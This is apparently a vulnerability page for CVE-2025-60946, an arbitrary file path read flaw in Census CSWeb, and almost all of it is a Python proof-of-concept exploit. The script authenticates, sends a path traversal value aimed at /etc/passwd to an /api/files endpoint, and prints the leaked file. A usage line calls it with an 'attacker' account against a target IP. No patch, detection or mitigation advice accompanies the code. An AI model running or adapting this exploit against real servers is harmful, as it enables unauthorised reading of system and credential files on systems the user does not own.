CVE-2025-60946: Census CSWeb 任意文件路径读取漏洞

import requests def exploit(target_url, username, password): session = requests.Session() # Step 1: Authenticate to get a valid session (PR:L requirement) login_payload = {'username': username, 'password': password} login_resp = session.post(f"{target_url}/login", data=login_payload) if login_resp.status_code != 200: print("Authentication failed") return # Step 2: Send payload with path traversal # Attempting to read /etc/passwd on Linux traversal_payload = {'file': '../../../../etc/passwd'} exploit_resp = session.get(f"{target_url}/api/files", params=traversal_payload) if exploit_resp.status_code == 200: print("Exploit successful! Response:") print(exploit_resp.text) else: print(f"Exploit failed, status code: {exploit_resp.status_code}") # Usage # exploit('http://target-ip', 'attacker', 'password')